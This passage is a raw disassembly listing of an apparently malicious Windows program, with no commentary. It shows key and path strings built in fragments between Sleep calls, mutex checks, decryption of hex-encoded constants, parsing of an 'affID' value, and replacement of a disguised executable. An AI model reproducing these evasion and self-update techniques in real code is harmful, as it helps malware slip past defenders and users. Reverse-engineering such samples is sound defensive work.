		push	offset aWr	; "WR"
		lea	ecx, [ebp-10h]
		call	sub_43163C
		mov	esi, dword_4330E0
		push	22h
		pop	edi
		push	edi
		call	esi	; Sleep
		push	offset dword_43710C
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	edi
		call	esi	; Sleep
		push	offset aNex	; "nex"
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	edi
		call	esi	; Sleep
		push	offset aTup	; "tup"
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	edi
		call	esi	; Sleep
		push	offset aDate	; "date"
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	80000000h
		push	1
		push	0
		push	ecx
		lea	eax, [ebp-10h]
		mov	ecx, esp
		mov	[ebp-14h], esp
		push	eax
		call	sub_431636
		lea	ecx, [ebp-34h]
		call	sub_426584
		lea	ecx, [ebp-34h]
		mov	byte ptr [ebp-4], 1
		call	sub_426816
		mov	edi, [ebp+8]
		mov	esi, eax
		test	edi, edi
		jle	short loc_42569F
		lea	eax, [ebp+8]
		push	eax
		call	dword_4331A4	; time
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [eax+edi]
		jmp	short loc_4256B7
; ---------------------------------------------------------------------------


loc_42569F:				; CODE XREF: sub_4255E6+A4j
		test	esi, esi
		jnz	short loc_4256C0
		lea	eax, [ebp+8]
		push	eax
		call	dword_4331A4	; time
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [eax+0B4h]


loc_4256B7:				; CODE XREF: sub_4255E6+B7j
		push	esi
		lea	ecx, [ebp-34h]
		call	sub_426843


loc_4256C0:				; CODE XREF: sub_4255E6+BBj
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-34h]
		call	sub_4266D6
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-10h]
		call	sub_431642
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		mov	large fs:0, ecx
		pop	esi
		leave
		retn	4
sub_4255E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4256EA	proc near		; CODE XREF: sub_422A1E+163p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	[esp+8+arg_0]
		mov	esi, ecx
		push	0
		push	0
		call	dword_4330B0	; CreateMutexA
		add	esi, 0Ch
		test	eax, eax
		mov	[esi], eax
		jz	short loc_42571D
		call	dword_433028	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_42571D
		push	dword ptr [esi]
		call	dword_433020	; CloseHandle
		and	dword ptr [esi], 0


loc_42571D:				; CODE XREF: sub_4256EA+19j
					; sub_4256EA+26j
		cmp	dword ptr [esi], 0
		lea	ecx, [esp+8+arg_0]
		setz	bl
		call	sub_431642
		mov	al, bl
		pop	esi
		pop	ebx
		retn	4
sub_4256EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_425733	proc near		; CODE XREF: sub_42852F+1A9p
		mov	eax, offset loc_4321A7
		call	sub_43176A	; _EH_prolog
		sub	esp, 34h
		and	dword ptr [ebp-1Ch], 0
		push	ebx
		push	esi
		lea	ecx, [ebp-10h]
		call	sub_43164E
		push	1
		lea	ecx, [ebp-10h]
		pop	ebx
		push	offset aWr	; "WR"
		mov	[ebp-4], ebx
		call	sub_43163C
		mov	esi, dword_4330E0
		push	24h
		call	esi	; Sleep
		push	offset dword_43710C
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	22h
		call	esi	; Sleep
		push	offset aP_1	; "p"
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	80000000h
		push	ebx
		push	ecx
		mov	ecx, esp
		mov	[ebp-18h], esp
		push	offset byte_439CA0
		call	sub_43162A
		push	ecx
		lea	eax, [ebp-10h]
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_431636
		lea	ecx, [ebp-40h]
		mov	[ebp-4], bl
		call	sub_42692B
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_43164E
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-40h]
		push	eax
		mov	byte ptr [ebp-4], 4
		call	sub_426D5C
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-14h]
		push	eax
		mov	byte ptr [ebp-4], 5
		call	sub_431648
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 4
		call	sub_431642
		mov	ecx, [ebp+8]
		lea	eax, [ebp-14h]
		push	eax
		call	sub_431636
		mov	[ebp-1Ch], ebx
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_431642
		lea	ecx, [ebp-40h]
		mov	[ebp-4], bl
		call	sub_426ABF
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-10h]
		call	sub_431642
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_425733	endp


; =============== S U B	R O U T	I N E =======================================



sub_42583A	proc near		; CODE XREF: sub_42852F+172p
		mov	eax, offset loc_4321F3
		call	sub_43176A	; _EH_prolog
		sub	esp, 34h
		and	dword ptr [ebp-1Ch], 0
		push	ebx
		push	esi
		lea	ecx, [ebp-10h]
		call	sub_43164E
		push	1
		lea	ecx, [ebp-10h]
		pop	ebx
		push	offset aW	; "W"
		mov	[ebp-4], ebx
		call	sub_43163C
		mov	esi, dword_4330E0
		push	24h
		call	esi	; Sleep
		push	offset aR	; "R"
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	24h
		call	esi	; Sleep
		push	offset dword_43710C
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	22h
		call	esi	; Sleep
		push	offset aI_0	; "i"
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	80000000h
		push	ebx
		push	ecx
		mov	ecx, esp
		mov	[ebp-18h], esp
		push	offset byte_439CA0
		call	sub_43162A
		push	ecx
		lea	eax, [ebp-10h]
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_431636
		lea	ecx, [ebp-40h]
		mov	[ebp-4], bl
		call	sub_42692B
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_43164E
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-40h]
		push	eax
		mov	byte ptr [ebp-4], 4
		call	sub_426D5C
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-14h]
		push	eax
		mov	byte ptr [ebp-4], 5
		call	sub_431648
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 4
		call	sub_431642
		mov	ecx, [ebp+8]
		lea	eax, [ebp-14h]
		push	eax
		call	sub_431636
		mov	[ebp-1Ch], ebx
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_431642
		lea	ecx, [ebp-40h]
		mov	[ebp-4], bl
		call	sub_426ABF
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-10h]
		call	sub_431642
		mov	eax, [ebp+8]
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_42583A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425952	proc near		; CODE XREF: sub_4245AA+2E2p
		mov	eax, offset loc_432240
		call	sub_43176A	; _EH_prolog
		sub	esp, 34h
		push	esi
		and	dword ptr [ebp-4], 0
		lea	ecx, [ebp-10h]
		call	sub_43164E
		push	offset aW	; "W"
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 1
		call	sub_43163C
		mov	esi, dword_4330E0
		push	24h
		call	esi	; Sleep
		push	offset aR	; "R"
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	24h
		call	esi	; Sleep
		push	offset dword_43710C
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	22h
		call	esi	; Sleep
		push	offset aI_0	; "i"
		lea	ecx, [ebp-10h]
		call	sub_431678
		mov	eax, [ebp+8]
		mov	eax, [eax-8]
		cmp	eax, 3
		jl	loc_425AAB
		push	80000000h
		push	1
		push	ecx
		mov	ecx, esp
		mov	[ebp-1Ch], esp
		push	offset byte_439CA0
		call	sub_43162A
		push	ecx
		lea	eax, [ebp-10h]
		mov	ecx, esp
		mov	[ebp-18h], esp
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_431636
		lea	ecx, [ebp-40h]
		mov	byte ptr [ebp-4], 1
		call	sub_42692B
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_43164E
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-40h]
		push	eax
		mov	byte ptr [ebp-4], 4
		call	sub_426D5C
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-14h]
		push	eax
		mov	byte ptr [ebp-4], 5
		call	sub_431648
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 4
		call	sub_431642
		lea	eax, [ebp-14h]
		push	offset asc_437428 ; ","
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_43165A
		lea	ecx, [ebp+8]
		mov	byte ptr [ebp-4], 6
		push	ecx
		push	eax
		lea	eax, [ebp-18h]
		push	eax
		call	sub_431654
		push	eax
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 7
		call	sub_431648
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 6
		call	sub_431642
		lea	ecx, [ebp-1Ch]
		mov	byte ptr [ebp-4], 4
		call	sub_431642
		push	ecx
		lea	eax, [ebp-14h]
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	eax
		call	sub_431636
		lea	ecx, [ebp-40h]
		call	sub_426DB8
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_431642
		lea	ecx, [ebp-40h]
		mov	byte ptr [ebp-4], 1
		call	sub_426ABF


loc_425AAB:				; CODE XREF: sub_425952+6Dj
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-10h]
		call	sub_431642
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+8]
		call	sub_431642
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_425952	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AD2	proc near		; CODE XREF: sub_4252F7+178p
		mov	eax, offset loc_43227C
		call	sub_43176A	; _EH_prolog
		sub	esp, 30h
		push	esi
		and	dword ptr [ebp-4], 0
		lea	ecx, [ebp-10h]
		call	sub_43164E
		push	offset aW	; "W"
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 1
		call	sub_43163C
		mov	esi, dword_4330E0
		push	24h
		call	esi	; Sleep
		push	offset aR	; "R"
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	24h
		call	esi	; Sleep
		push	offset dword_43710C
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	22h
		call	esi	; Sleep
		push	offset aCmd_0	; "cmd"
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	80000000h
		push	1
		push	ecx
		mov	esi, offset a0	; "0"
		mov	ecx, esp
		mov	[ebp-18h], esp
		push	esi
		call	sub_43162A
		push	ecx
		lea	eax, [ebp-10h]
		mov	ecx, esp
		mov	[ebp-1Ch], esp
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_431636
		lea	ecx, [ebp-3Ch]
		mov	byte ptr [ebp-4], 1
		call	sub_42692B
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_43164E
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-3Ch]
		push	eax
		mov	byte ptr [ebp-4], 4
		call	sub_426D5C
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-14h]
		push	eax
		mov	byte ptr [ebp-4], 5
		call	sub_431648
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 4
		call	sub_431642
		push	esi
		push	dword ptr [ebp-14h]
		call	dword_433204	; _mbscmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_425BCC
		push	ecx
		lea	eax, [ebp+8]
		mov	ecx, esp
		mov	[ebp-1Ch], esp
		push	eax
		call	sub_431636
		lea	ecx, [ebp-3Ch]
		call	sub_426DB8


loc_425BCC:				; CODE XREF: sub_425AD2+E1j
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_431642
		lea	ecx, [ebp-3Ch]
		mov	byte ptr [ebp-4], 1
		call	sub_426ABF
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-10h]
		call	sub_431642
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+8]
		call	sub_431642
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_425AD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_425C0B	proc near		; CODE XREF: sub_42908F+70p
		mov	eax, offset loc_4322C7
		call	sub_43176A	; _EH_prolog
		sub	esp, 34h
		and	dword ptr [ebp-1Ch], 0
		push	ebx
		push	esi
		lea	ecx, [ebp-10h]
		call	sub_43164E
		push	1
		lea	ecx, [ebp-10h]
		pop	ebx
		push	offset aW	; "W"
		mov	[ebp-4], ebx
		call	sub_43163C
		mov	esi, dword_4330E0
		push	24h
		call	esi	; Sleep
		push	offset aR	; "R"
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	24h
		call	esi	; Sleep
		push	offset dword_43710C
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	22h
		call	esi	; Sleep
		push	offset aC	; "c"
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	22h
		call	esi	; Sleep
		push	offset aMd	; "md"
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	22h
		call	esi	; Sleep
		push	80000000h
		push	ebx
		push	ecx
		mov	ecx, esp
		mov	[ebp-18h], esp
		push	offset byte_439CA0
		call	sub_43162A
		push	ecx
		lea	eax, [ebp-10h]
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_431636
		lea	ecx, [ebp-40h]
		mov	[ebp-4], bl
		call	sub_42692B
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_43164E
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-40h]
		push	eax
		mov	byte ptr [ebp-4], 4
		call	sub_426D5C
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-14h]
		push	eax
		mov	byte ptr [ebp-4], 5
		call	sub_431648
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 4
		call	sub_431642
		mov	ecx, [ebp+8]
		lea	eax, [ebp-14h]
		push	eax
		call	sub_431636
		mov	[ebp-1Ch], ebx
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_431642
		lea	ecx, [ebp-40h]
		mov	[ebp-4], bl
		call	sub_426ABF
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-10h]
		call	sub_431642
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_425C0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_425D38	proc near		; CODE XREF: sub_425FC6+5Cp
		mov	eax, offset loc_4322EC
		call	sub_43176A	; _EH_prolog
		mov	eax, 8020h
		call	sub_431700
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], ecx
		xor	ebx, ebx
		lea	ecx, [ebp-1Ch]
		mov	[ebp-4], ebx
		call	sub_43164E
		push	dword ptr [ebp+8]
		mov	esi, dword_4330CC
		lea	eax, [ebp-602Ch]
		mov	byte ptr [ebp-4], 1
		push	eax
		call	esi	; lstrcpyA
		lea	eax, [ebp-602Ch]
		push	eax
		call	dword_4330B4	; lstrlenA
		mov	ecx, [ebp-18h]
		push	eax
		lea	eax, [ebp-602Ch]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		call	sub_42309C
		push	eax
		lea	ecx, [ebp-1Ch]
		mov	byte ptr [ebp-4], 2
		call	sub_431648
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 1
		call	sub_431642
		push	dword ptr [ebp-1Ch]
		lea	eax, [ebp-402Ch]
		push	eax
		call	dword_433298	; wsprintfA
		cmp	byte ptr [ebp-402Ch], 23h
		pop	ecx
		pop	ecx
		jnz	loc_425F9C
		push	ebx
		lea	eax, [ebp-402Ch]
		push	1
		push	eax
		lea	eax, [ebp-10h]
		lea	ecx, [ebp-14h]
		push	eax
		call	sub_421ACF
		push	dword ptr [eax]
		lea	eax, [ebp-402Ch]
		push	eax
		call	sub_431758	; strcpy
		pop	ecx
		pop	ecx
		lea	ecx, [ebp-10h]
		call	sub_431642
		lea	eax, [ebp-402Ch]
		push	23h
		push	eax
		lea	ecx, [ebp-14h]
		call	sub_421A20
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp-10h], edi
		jz	loc_425F9C
		jmp	short loc_425E1F
; ---------------------------------------------------------------------------


loc_425E1C:				; CODE XREF: sub_425D38+25Ej
		mov	edi, [ebp-10h]


loc_425E1F:				; CODE XREF: sub_425D38+E2j
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_425E36
		lea	eax, [ebp-402Ch]
		push	eax
		lea	eax, [ebp-202Ch]
		push	eax
		call	esi	; lstrcpyA
		jmp	short loc_425E5E
; ---------------------------------------------------------------------------


loc_425E36:				; CODE XREF: sub_425D38+EAj
		push	edi
		lea	eax, [ebp-402Ch]
		push	ebx
		push	eax
		lea	eax, [ebp-28h]
		lea	ecx, [ebp-14h]
		push	eax
		call	sub_421ACF
		push	dword ptr [eax]
		lea	eax, [ebp-202Ch]
		push	eax
		call	esi	; lstrcpyA
		lea	ecx, [ebp-28h]
		call	sub_431642


loc_425E5E:				; CODE XREF: sub_425D38+FCj
		inc	edi
		push	ebx
		lea	eax, [ebp-402Ch]
		push	edi
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-14h]
		call	sub_421ACF
		push	dword ptr [eax]
		lea	eax, [ebp-402Ch]
		push	eax
		call	esi	; lstrcpyA
		lea	ecx, [ebp-20h]
		call	sub_431642
		lea	eax, [ebp-202Ch]
		push	3Ah
		push	eax
		lea	ecx, [ebp-14h]
		call	sub_421A20
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_425EF2
		push	edi
		lea	eax, [ebp-202Ch]
		push	ebx
		push	eax
		lea	eax, [ebp-24h]
		lea	ecx, [ebp-14h]
		push	eax
		call	sub_421ACF
		push	dword ptr [eax]
		lea	eax, [ebp-802Ch]
		push	eax
		call	esi	; lstrcpyA
		lea	ecx, [ebp-24h]
		call	sub_431642
		inc	edi
		push	ebx
		lea	eax, [ebp-202Ch]
		push	edi
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		lea	ecx, [ebp-14h]
		call	sub_421ACF
		push	dword ptr [eax]
		lea	eax, [ebp-202Ch]
		push	eax
		call	esi	; lstrcpyA
		lea	ecx, [ebp-2Ch]
		call	sub_431642
		jmp	short loc_425F17
; ---------------------------------------------------------------------------


loc_425EF2:				; CODE XREF: sub_425D38+165j
		lea	eax, [ebp-202Ch]
		push	eax
		lea	eax, [ebp-802Ch]
		push	eax
		call	esi	; lstrcpyA
		push	2000h
		lea	eax, [ebp-202Ch]
		push	ebx
		push	eax
		call	sub_431752	; memset
		add	esp, 0Ch


loc_425F17:				; CODE XREF: sub_425D38+1B8j
		push	5
		lea	eax, [ebp-802Ch]
		push	offset aAffid	; "affID"
		push	eax
		call	dword_4331AC	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_425F7A
		lea	eax, [ebp-202Ch]
		push	eax
		call	sub_43175E	; strlen
		cmp	eax, 1
		pop	ecx
		jle	short loc_425F5F
		push	8Fh
		mov	[ebp+eax-202Dh], bl
		call	dword_4330E0	; Sleep
		lea	eax, [ebp-202Ch]
		push	eax
		jmp	short loc_425F6F
; ---------------------------------------------------------------------------


loc_425F5F:				; CODE XREF: sub_425D38+20Aj
		push	0C2h
		call	dword_4330E0	; Sleep
		push	offset byte_439CA0


loc_425F6F:				; CODE XREF: sub_425D38+225j
		mov	eax, [ebp-18h]
		lea	ecx, [eax+4]
		call	sub_43163C


loc_425F7A:				; CODE XREF: sub_425D38+1F8j
		cmp	dword ptr [ebp-10h], 0FFFFFFFFh
		jz	short loc_425F9C
		lea	eax, [ebp-402Ch]
		push	23h
		push	eax
		lea	ecx, [ebp-14h]
		call	sub_421A20
		cmp	eax, ebx
		mov	[ebp-10h], eax
		jnz	loc_425E1C


loc_425F9C:				; CODE XREF: sub_425D38+90j
					; sub_425D38+DCj ...
		lea	ecx, [ebp-1Ch]
		mov	[ebp-4], bl
		call	sub_431642
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+8]
		call	sub_431642
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_425D38	endp


; =============== S U B	R O U T	I N E =======================================



sub_425FC6	proc near		; CODE XREF: sub_4294E5+59p
		mov	eax, offset loc_432388
		call	sub_43176A	; _EH_prolog
		sub	esp, 68h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, dword_4330E0
		and	dword ptr [ebp-4], 0
		push	0CEAh
		call	esi	; Sleep
		lea	ecx, [ebp-14h]
		call	sub_43164E
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 1
		call	sub_43164E
		lea	ecx, [ebp-34h]
		mov	byte ptr [ebp-4], 2
		call	sub_43164E
		push	24h
		mov	byte ptr [ebp-4], 3
		call	esi	; Sleep
		push	ecx
		lea	eax, [ebp+8]
		mov	ecx, esp
		mov	[ebp-30h], esp
		push	eax
		call	sub_431636
		mov	ecx, edi
		call	sub_425D38
		lea	ebx, [edi+1Ch]
		push	offset aM	; "\\m"
		lea	eax, [ebp-2Ch]
		push	ebx
		push	eax
		call	sub_43165A
		push	eax
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 4
		call	sub_431648
		lea	ecx, [ebp-2Ch]
		mov	byte ptr [ebp-4], 3
		call	sub_431642
		push	24h
		call	esi	; Sleep
		push	offset aRo	; "ro"
		lea	ecx, [ebp-14h]
		call	sub_431678
		push	24h
		call	esi	; Sleep
		push	offset aFinu	; "finu"
		lea	ecx, [ebp-14h]
		call	sub_431678
		push	22h
		call	esi	; Sleep
		lea	eax, [edi+4]
		push	offset a_ex	; ".ex"
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_43165A
		push	eax
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 5
		call	sub_431684
		lea	ecx, [ebp-2Ch]
		mov	byte ptr [ebp-4], 3
		call	sub_431642
		push	offset aE	; "e"
		lea	ecx, [ebp-14h]
		call	sub_431678
		push	ebx
		lea	ecx, [ebp-18h]
		call	sub_431648
		mov	ebx, offset dword_43710C
		lea	ecx, [ebp-18h]
		push	ebx
		call	sub_431678
		push	23h
		call	esi	; Sleep
		push	offset aMr	; "mr"
		lea	ecx, [ebp-18h]
		call	sub_431678
		push	24h
		call	esi	; Sleep
		push	offset aOf	; "of"
		lea	ecx, [ebp-18h]
		call	sub_431678
		lea	eax, [edi+4]
		push	eax
		lea	eax, [ebp-28h]
		push	offset aInu	; "inu"
		push	eax
		call	sub_43167E
		push	offset a_exe_tmp ; ".exe.tmp"
		push	eax
		lea	eax, [ebp-2Ch]
		mov	byte ptr [ebp-4], 6
		push	eax
		call	sub_43165A
		push	eax
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 7
		call	sub_431684
		lea	ecx, [ebp-2Ch]
		mov	byte ptr [ebp-4], 6
		call	sub_431642
		lea	ecx, [ebp-28h]
		mov	byte ptr [ebp-4], 3
		call	sub_431642
		push	22h
		call	esi	; Sleep
		push	ecx
		lea	eax, [ebp+8]
		mov	ecx, esp
		mov	[ebp-30h], esp
		push	eax
		call	sub_431636
		push	ecx
		lea	eax, [ebp-14h]
		mov	ecx, esp
		mov	[ebp-2Ch], esp
		push	eax
		mov	byte ptr [ebp-4], 8
		call	sub_431636
		mov	ecx, edi
		mov	byte ptr [ebp-4], 3
		call	sub_4252F7
		push	dword ptr [edi+20h]
		push	dword ptr [ebp-14h]
		call	dword_433204	; _mbscmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4261CD
		push	dword ptr [ebp-18h]
		call	sub_4221DB
		test	eax, eax
		pop	ecx
		jz	short loc_42618F
		push	1
		push	dword ptr [ebp-18h]
		call	sub_421C92
		pop	ecx
		pop	ecx


loc_42618F:				; CODE XREF: sub_425FC6+1BBj
		push	dword ptr [ebp-14h]
		call	sub_4221DB
		test	eax, eax
		pop	ecx
		jz	short loc_4261AC
		push	1
		push	dword ptr [ebp-18h]
		push	dword ptr [ebp-14h]
		call	sub_421D8A
		add	esp, 0Ch


loc_4261AC:				; CODE XREF: sub_425FC6+1D4j
		mov	eax, [edi+20h]
		push	1
		push	dword ptr [ebp-14h]
		push	eax
		call	sub_421D8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4261CD
		lea	eax, [ebp-14h]
		lea	ecx, [edi+20h]
		push	eax
		call	sub_431648


loc_4261CD:				; CODE XREF: sub_425FC6+1AEj
					; sub_425FC6+1F9j
		push	80000002h
		push	1
		push	ecx
		mov	ecx, esp
		mov	[ebp-30h], esp
		push	offset aDefaultvalue ; "defaultvalue"
		call	sub_43162A
		push	ecx
		mov	ecx, edi
		mov	eax, esp
		mov	[ebp-2Ch], esp
		push	72h
		push	offset a11866787a5f240 ; "11866787A5F240675EE6610530A652BC94C74E7"...
		push	eax
		mov	byte ptr [ebp-4], 9
		call	sub_42309C
		lea	ecx, [ebp-74h]
		mov	byte ptr [ebp-4], 3
		call	sub_42692B
		lea	ecx, [ebp-1Ch]
		mov	byte ptr [ebp-4], 0Ah
		call	sub_43164E
		push	offset aWr	; "WR"
		lea	ecx, [ebp-1Ch]
		mov	byte ptr [ebp-4], 0Bh
		call	sub_43163C
		push	22h
		call	esi	; Sleep
		push	ebx
		lea	ecx, [ebp-1Ch]
		call	sub_431678
		push	0Eh
		lea	eax, [ebp-2Ch]
		push	offset a34ac53a09bdc7c ; "34AC53A09BDC7C"
		push	eax
		mov	ecx, edi
		call	sub_42309C
		push	eax
		lea	ecx, [ebp-1Ch]
		mov	byte ptr [ebp-4], 0Ch
		call	sub_431684
		lea	ecx, [ebp-2Ch]
		mov	byte ptr [ebp-4], 0Bh
		call	sub_431642
		push	80000000h
		push	1
		push	ecx
		mov	ecx, esp
		mov	[ebp-30h], esp
		push	edi
		call	sub_431636
		push	ecx
		lea	eax, [ebp-1Ch]
		mov	ecx, esp
		mov	[ebp-2Ch], esp
		push	eax
		mov	byte ptr [ebp-4], 0Dh
		call	sub_431636
		lea	ecx, [ebp-54h]
		mov	byte ptr [ebp-4], 0Bh
		call	sub_42692B
		lea	eax, [ebp-24h]
		lea	ecx, [ebp-74h]
		push	eax
		mov	byte ptr [ebp-4], 0Eh
		call	sub_426D5C
		lea	eax, [ebp-24h]
		lea	ecx, [ebp-2Ch]
		push	eax
		mov	byte ptr [ebp-4], 0Fh
		call	sub_431636
		mov	byte ptr [ebp-4], 10h
		push	eax
		lea	ecx, [edi+24h]
		call	sub_431648
		lea	ecx, [ebp-2Ch]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_431642
		lea	ecx, [ebp-24h]
		mov	byte ptr [ebp-4], 0Eh
		call	sub_431642
		push	dword ptr [edi]
		mov	ebx, dword_4331A8
		call	ebx	; atoi
		pop	ecx
		mov	[ebp-2Ch], eax
		push	2Ch
		mov	dword ptr [ebp-4], 0Eh
		call	esi	; Sleep
		and	dword ptr [ebp-20h], 0
		lea	eax, [edi+14h]
		mov	[ebp-24h], eax


loc_4262F8:				; CODE XREF: sub_425FC6+37Fj
		lea	eax, [ebp-28h]
		lea	ecx, [ebp-54h]
		push	eax
		call	sub_426D5C
		mov	ecx, [ebp-24h]
		lea	eax, [ebp-28h]
		push	eax
		mov	byte ptr [ebp-4], 13h
		call	sub_431648
		lea	ecx, [ebp-28h]
		mov	byte ptr [ebp-4], 0Eh
		call	sub_431642
		mov	eax, [ebp-24h]
		push	dword ptr [eax]
		call	ebx	; atoi
		cmp	eax, [ebp-2Ch]
		pop	ecx
		mov	[ebp-30h], eax
		mov	dword ptr [ebp-4], 0Eh
		jge	short loc_426347
		push	0F81h
		call	esi	; Sleep
		inc	dword ptr [ebp-20h]
		cmp	dword ptr [ebp-20h], 0Ah
		jl	short loc_4262F8


loc_426347:				; CODE XREF: sub_425FC6+36Fj
		mov	eax, [ebp-2Ch]
		cmp	[ebp-30h], eax
		jle	short loc_426355
		mov	byte ptr [edi+18h], 1
		jmp	short loc_42636F
; ---------------------------------------------------------------------------


loc_426355:				; CODE XREF: sub_425FC6+387j
		and	byte ptr [edi+18h], 0
		push	ecx
		mov	ecx, esp
		mov	[ebp-30h], esp
		push	dword ptr [ebp-24h]
		call	sub_431636
		lea	ecx, [ebp-54h]
		call	sub_426DB8


loc_42636F:				; CODE XREF: sub_425FC6+38Dj
		lea	ecx, [ebp-54h]
		mov	byte ptr [ebp-4], 0Bh
		call	sub_426ABF
		lea	ecx, [ebp-1Ch]
		mov	byte ptr [ebp-4], 0Ah
		call	sub_431642
		lea	ecx, [ebp-74h]
		mov	byte ptr [ebp-4], 3
		call	sub_426ABF
		lea	ecx, [ebp-34h]
		mov	byte ptr [ebp-4], 2
		call	sub_431642
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 1
		call	sub_431642
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-14h]
		call	sub_431642
